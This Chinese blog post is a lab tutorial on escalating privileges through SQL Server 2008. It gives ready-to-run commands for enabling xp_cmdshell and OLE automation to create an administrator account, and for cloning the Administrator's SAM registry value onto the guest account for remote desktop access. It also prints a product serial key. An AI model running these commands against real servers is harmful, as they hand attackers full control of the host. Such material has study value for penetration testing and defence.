MSSQL/SQL Server 提权手法详解

举报
拈花倾城 发表于 2022/01/14 13:22:45 2022/01/14
【摘要】 系统提权之SQLServer提权的3种方式详细提权过程复现

@[TOC](SQL Server 提权手法详解)

环境:Win10 、SQL Server 2008

一、SQL Server 的安装

介绍:

​ Microsoft SQLServer是一个C/S模式的强大的关系型数据库管理系统,应用领域十分广泛,从网站后台数据库到一些MIS(管理信息系统)到处都可以看到它的身影。

点击exe后,点击setup

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1yCRyRAl-1639675597568)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216031824680.png)]

点击“安装”,点击“全新安装或向现有安装添加功能”

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iHxia2zD-1639675597576)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216031915337.png)]

确定

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Noum9ibw-1639675597577)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216032042788.png)]

输入序列号PTTFM-X467G-P7RH2-3Q6CG-4DMYB

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FtbiPzew-1639675597578)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216032121724.png)]

后续操作如下图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Md0Jt99K-1639675597578)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216032141449.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HYcfd6Ni-1639675597579)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216032238768.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wKFyQTLO-1639675597580)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216032246590.png)]

注意“全选”

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xyVoWYCf-1639675597580)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216032312268.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ggZQq0Lt-1639675597581)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216032329819.png)]

点击“对所有SQL Server服务使用相同的账户”

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D25gp7cw-1639675597582)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216032349752.png)]

NT AUTHORITY\SYSTEM

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vB6w2Kih-1639675597583)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216032425125.png)]

点击“添加当前用户”,会自动添加当前用户

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kOmU2qbJ-1639675597584)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216032516987.png)]

点击“添加当前用户”,会自动添加当前用户

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PMMKOdrk-1639675597585)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216032609989.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MabpQo2J-1639675597585)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216032632606.png)]

一直下一步,直至安装成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CEhKcMhn-1639675597585)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216033821664.png)]

二、SQL Server SA用户的添加

右键数据库,点击“属性”,然后点击确定

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HHlGDlws-1639675597585)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216035853990.png)]

重启sql server 点击“安全性”“登录名”找到“SA”设置这个用户的密码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8yDPL1WY-1639675597586)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216040148520.png)]

接着还在这个对话框中,我们点击左上角的第二个属性服务器角色(server roles),这里是你为添加该用户要实现哪些角色。一般我们自己使用都是配置最高权限的角色,一个是public ,还有一个是sysadmin。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JGg57jQJ-1639675597586)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216040325675.png)]

接着我们还在这对话框,我们点击最后一个属性,也就是状态属性(Status),在这个状态栏中,我们只需要勾选上面一栏是否允许连接到数据库引擎(Permission to connect to database engine) 选择 grant(授予);

下面一栏:登录 选择启用(Enabled)。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pp0JPWwn-1639675597587)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216040406297.png)]

添加好后,点击【确定】,再次来到数据库这边,我们右键数据库,重新启动(Restart),重新启动数据库服务,这样能够将我们刚才配置好的加载起来。重新启动完成之后,我们就可以使用sa用户登录了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IFY7Hg6S-1639675597588)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216040442024.png)]

之后在navicat中连接,输入数据如下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JXnb0BuH-1639675597589)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216040631083.png)]

三、原理

		“存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在SqlServer中预先定义好的“SQL语句集合”,说的更直白一些就是使用T-SQL语言编写好的各种小脚本共同组成的集合体,我们称之为“存储过程”。而存储过程中的这些小脚本中,其危险性最高的“小脚本”就是扩展存储过程中的“xp_cmdshell脚本”,它可以执行操作系统的任何指令。如果我们能够获取SA的管理员权限,我们就可以使用SA的管理权限可以直接执行扩展存储过程中的“xp_cmdshell脚本”,并获得返回值。

xp_cmdshell:

​ xp_cmdshell可以执行系统命令,该组件默认是关闭的,因此需要把它打开。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它

MSSQL的权限:

​ 在Windows server类的操作系统上,默认具有system权限。System权限在Windows server2003中权限仅比admin小;而在2003以上的版本,则为系统权限

初期流程:

1、获取SA密码

获取webshell之后可尝试在服务器各个站点的目录寻找sa的密码(某些站点直接在web应用程序中使用sa连接数据库),一般情况下,.net的站点数据库连接字符串在web.config或者和global.aspx也有可能是编译在DLL文件当中

2、判断端口

通过端口扫描查看1433(mssql默认端口)是否对外开放。如果对外开放则使用sql连接器进行提权,如果没有对外开放,则使用webshell自带的mssql数据库连接功能连接至mssql数据库

四、xp_cmd提权过程

目的:创建一个新的administrator用户

1、开始xp_cmd扩展功能

    use master;
    exec sp_configure 'show advanced options',1;
    reconfigure;
    exec sp_configure 'xp_cmdshell',1;
    reconfigure;
    
##1开启,0关闭,关闭时从xp_cmdshell  ---> options依次关闭

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b7qgbpZz-1639675597589)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216040801097.png)]

2、任意命令执行

use master;
exec master..xp_cmdshell "whoami";

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nxIVbP6k-1639675597590)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216040908155.png)]

use master;
exec master..xp_cmdshell "ipconfig";

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EspbzWG3-1639675597590)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216040933606.png)]

3、添加用户

use master;
exec master..xp_cmdshell "net user 123 123/add";

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LIt6B0s3-1639675597591)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216041008562.png)]

4、添加用户到管理员组

use master;
exec master..xp_cmdshell "net localgroup administrators 123 /add";

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZO3TDZHG-1639675597592)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216041053036.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4FQWTkeU-1639675597592)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216041118747.png)]

五、OLE提权过程

首先还是xp_cmd,当xp_cmd被删除或出错的情况下,利用SP_OACreate

OLE 这系列的存储过程有

sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop

1、打开SP_OACreate选项

use master;
EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jdpAklh9-1639675597593)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216070757901.png)]

2、添加用户456

注意是没有回显的[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QISpGpav-1639675597593)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216071055093.png)]

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 456 456 /add'

3、添加用户456至管理员权限组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 456/add'

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XzCNMCKe-1639675597594)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216071347557.png)]

六、xp_regread & xp_regwrite克隆账号

​ 利用xp_regread 与 xp_regwrite两个存储过程脚本可以直接读取与写入注册表,所以我们可以利用这个两个存过过程来实现对“远程主机”的administrator超级管理员账号进行克隆,从而实现对目标主机的控制。

1、获取administrator的加密密码

xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F';

下图是navicat中的显示,并没有完全显示加密密码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2YfQMlTG-1639675597594)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216072036254.png)]

下图是在靶机sql server中执行语句的结果

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3huosAus-1639675597595)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216072307792.png)]

2、将加密密码赋值给guest账号

xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x0300010000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFF7F0000000000000000F40100000102000011020000000000000000000001000000000000004A010C00;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WqDy3Sc7-1639675597595)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216072435325.png)]

3、使用guest账号登录远程桌面管理

注意:此条件的使用需要guest 用户在“远程桌面用户组”,否则出现不允许远程登录的情况;

针对此问题,我们尝试将guest用户添加到“administrators”组或者“Remote Desktop Users”。

  1. guest账户需要被启用;

  2. guest 账户需要在“Remote Desktop Users”

解决如下:

exec master..xp_cmdshell 'net user guest /active:yes';

exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" a /add';

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TUQWUM6n-1639675597595)(C:\Users\Administrator\Desktop\拈花倾城\images\image-20211216073506640.png)]

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。